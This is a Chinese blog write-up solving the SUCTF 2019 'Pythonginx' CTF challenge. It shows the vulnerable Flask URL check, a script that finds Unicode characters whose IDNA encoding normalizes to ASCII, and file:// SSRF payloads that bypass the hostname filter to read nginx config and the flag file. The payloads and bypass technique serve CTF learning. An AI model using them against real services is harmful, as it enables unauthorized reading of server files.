• [SUCTF 2019]Pythonginx


    [SUCTF 2019]Pythonginx
    考点:
    SSRF
    nginx配置文件位置
    脚本编写

     @app.route('/getUrl', methods=['GET', 'POST'])
    def getUrl():
        url = request.args.get("url") #获取url
        host = parse.urlparse(url).hostname #获取主机名例如:http://www.baidu.com/index.php?a=111 会读取到www.baidu.com
        if host == 'suctf.cc':
            return "我扌 your problem? 111"
        parts = list(urlsplit(url)) #提取url中的各个字段
        host = parts[1] #获取主机名即域名
        if host == 'suctf.cc':
            return "我扌 your problem? 222 " + host
        newhost = []
        for h in host.split('.'):
            newhost.append(h.encode('idna').decode('utf-8'))#先idna编码再utf8解码
        parts[1] = '.'.join(newhost) #组合成域名
        #去掉 url 中的空格
        finalUrl = urlunsplit(parts).split(' ')[0]
        host = parse.urlparse(finalUrl).hostname #获取主机名
        if host == 'suctf.cc': #判断是否为suctf.cc
            return urllib.request.urlopen(finalUrl).read() #读取finalUrl
        else:
            return "我扌 your problem? 333"
        </code>
        <!-- Dont worry about the suctf.cc. Go on! -->
        <!-- Do you know the nginx? -->
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    前两次通过parse.urlparse(url).hostname和urlspilt来判断主机名,如果是suctf.cc则失败,第三次经过idna编码和utf8解码后来判断是否为suctf.cc,那么要突破的就是这里。

    要利用ssrf来读取flag,首先要找到flag的位置,题目提醒了中间件是nginx,nginx的一些配置信息如下:

    配置文件存放目录:/etc/nginx
    Nginx配置文件:/usr/local/nginx/conf/nginx.conf
    管理脚本:/usr/lib64/systemd/system/nginx.service
    模块:/usr/lisb64/nginx/modules
    应用程序:/usr/sbin/nginx
    程序默认存放位置:/usr/share/nginx/html
    日志默认存放位置:/var/log/nginx

    需要查看配置文件才能知道flag的位置,普通构造应该是file://suctf.cc/usr/local/nginx/conf/nginx.conf
    但是有前两次判断,所以这样不行,并且要绕过第三次判断
    寻找有无满足条件的字符,即经过idna编码然后utf8编码后满足上面的payload

    编写脚本寻找符合条件的字符:参考SUCTF_2019_部分复现

    for i in range(128,65537):
        tmp = chr(i)
        try:
            res = tmp.encode('idna').decode('utf-8')
            if("-") in res: #出现-说明不符合要求,直接排除
                continue
            print("ascii:{}  tmp:{}  res:{}".format(i,tmp,res))
        except:
            pass
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    也可以加限制条件,比如想替换c,直接加
    if “c” in res:
    print(“ascii:{} tmp:{} res:{}”.format(i,tmp,res))

    得到很多结果
    在这里插入图片描述
    随便用一个替换c然后尝试绕过:比如:ℂ
    payload:file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
    在这里插入图片描述
    得到flag位置:/usr/fffffflag
    在这里插入图片描述
    注意到有个符号℆,经过编码解码后为c/u,也可以利用这个构造payload:

    读取flag:file://suctf.c℆sr/fffffflag

  • 相关阅读:
    【Java基础】类型转换与常用运算符
    支付卡行业(PCI)PIN安全要求和测试程序 7个控制目标、33个要求及规范性附录ABC 密钥注入-PCI认证-安全行业基础篇4
    webpack 安装 及 一些坑
    三、Keil安装芯片包、下载固件库、建立STM32工程模板
    Springboot美食点评系统gb9o5计算机毕业设计-课程设计-期末作业-毕设程序代做
    haproxy软件的日志输出到指定文件
    MySQL 主从复制与读写分离
    Python中__init__.py的作用介绍
    最短路与动态规划(一)
    前端总结——WebSocket
  • 原文地址:https://blog.csdn.net/pakho_C/article/details/126280554